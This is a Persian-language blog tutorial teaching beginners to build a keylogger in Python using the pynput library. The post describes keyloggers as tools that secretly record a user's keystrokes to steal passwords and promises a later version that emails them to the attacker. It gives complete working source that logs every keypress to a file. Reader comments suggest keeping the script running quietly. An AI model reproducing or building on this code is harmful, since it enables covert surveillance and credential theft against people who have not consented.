آموزش ساخت کیلاگر مبتدی در پایتون :: Mr Python | مستر پایتون

آموزش ساخت کیلاگر مبتدی در پایتون

  • ۲۵۱۰

آموزش ساخت ساده ترین کیلاگر  در پایتون

 

درود به همه !

 

امروز قراره تقریبا ساده ترین کیلاگری که میشه با پایتون ساخت رو بسازیم . این کیلاگر میتونه روی ویندوز و لینوکس و هر سیستم عاملی که پایتون روش نصبه کار بده پس نگران سیستم عامل نباشید .

کیلاگر چیست ؟ کیلاگر یه ابزاره وقتی اجرا میشه تمام کلید های فشرده شده روی کیبورد توسط کاربر رو بدون اجازه  ضبط میکنه و اونا رو ارسال میکنه به ایمیل هکر یا ذخیره میکنه یه جایی . این کلید ها میتونن برای پی بردن به پسوورد ها و بسیاری از حملات دیگه کاربردی باشن . کیلاگری که در این پست میسازیم اطلاعات کلید های فشرده شده رو درون یه فایل متنی ذخیره میکنه .

در پست بعدی نحوه ی ساخت کیلاگر پیشرفته رو باهم میبینیم که بتونه کلید ها رو بفرسته به ایمیلمون و ....

برای ساخت کیلاگر از کتابخونه ی پر سرعت pynput در پایتون استفاده میکنیم .

 

در ابتدا باید این کتابخونه رو نصب کنیم . برای اینکار از ابزار pip استفاده میکنیم . برای نصب دستورات زیر رو اجرا میکنیم :

نصب کتابخانه در لینوکس :

MrPython@debian:~$ sudo pip3 install pynput

نصب کتابخانه در ویندوز : 

C:\> pip install pynput

 

بعد از نصب کتابخانه میریم سراغ سورس کد .

 

سورس کد کیلاگر :

# https://MrPython.blog.ir
from time import sleep
from pynput.keyboard import  Listener

def keypress(Key):
    f = open("logs.txt","a")
    f.write(str(Key) + "\n")
    f.close()

listener = Listener(on_press = keypress)
listener.start()
while True:
    sleep(0.5)
    pass

میریم برا توضیح سورس . خط اول که یه کامنته چیز خاصی نیست . خط دوم ماژول های مورد نیاز رو ایمپورت کردیم . سپس یه تابع تعریف کردیم به اسم keypress که یه ورودی به اسم Key میگیره . کاری که میکنه اینه که ورودی که میگیره رو مینویسه داخل یه فایل متنی به اسم logs.txt (چون از مد a برای نوشتن استفاده کردیم به آخر فایل اضافه میکنه append !) . در خطوط بعدی ما یه شیء از کلاس Listener ساختیم و ریختیم داخل متغییر listener . اگه توجه کنید اسم تابعی که در بالا تعریف کردیم رو دادیم به یه ورودی به اسم on_press و در خط بعد هم اونو با متد start راه انداختیم . این دستور شروع میکنه به ضبط کردن کلید ها . هر کلیدی که روی کیبورد فشرده میشه رو میفهمه و سریع به محض اینکه یک کلید فشرده میشه تابع keypress  که تو ورودی بهش دادیم رو فراخونی میکنه و اون کلیدی که زده شده رو به عنوان ورودی میده به تابع . همونطور که میدونید تابع keypress هم که سریع اون ورودی (کلید فشرده شده) رو مینویسه داخل فایل logs.txt  . و در آخر هم یه حلقه ی بینهایت نوشتیم که اسکریپت بسته نشه . 

 

این از کیلاگر خیلی ساده ی امروزمون . در پست های بعدی نحوه ی ساخت کیلاگر پیشرفته رو خواهیم دید .

یا حق !

 

  • سلام فکر کنم اگر آخرش به جای وایل یه اینپوت بود خوب میشد و اینجوری برنامه تموم نمیشد

    پاسخ:
    سلام . بله اون کار رو هم میشد کرد .
  • سلام. حلقه بینهایت در انتهای کد باعث روشن شدن فن سیستم و فشار به سیستم میشه.

    برای اینکه کدمون بی سروصدا اجرا بشه. بنظرم بهتره از تابع sleepاز ماژول time استفاده کنیم و یک عدد خیلی بزرگ بهش بدیم. اینجوری مانع توقف برنامه میشیم.

    پاسخ:
    درود بر شما .
    درست میگید اگه sleep باعث رفع این مشکل میشه بسیار مناسبه :) ممنون :)
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی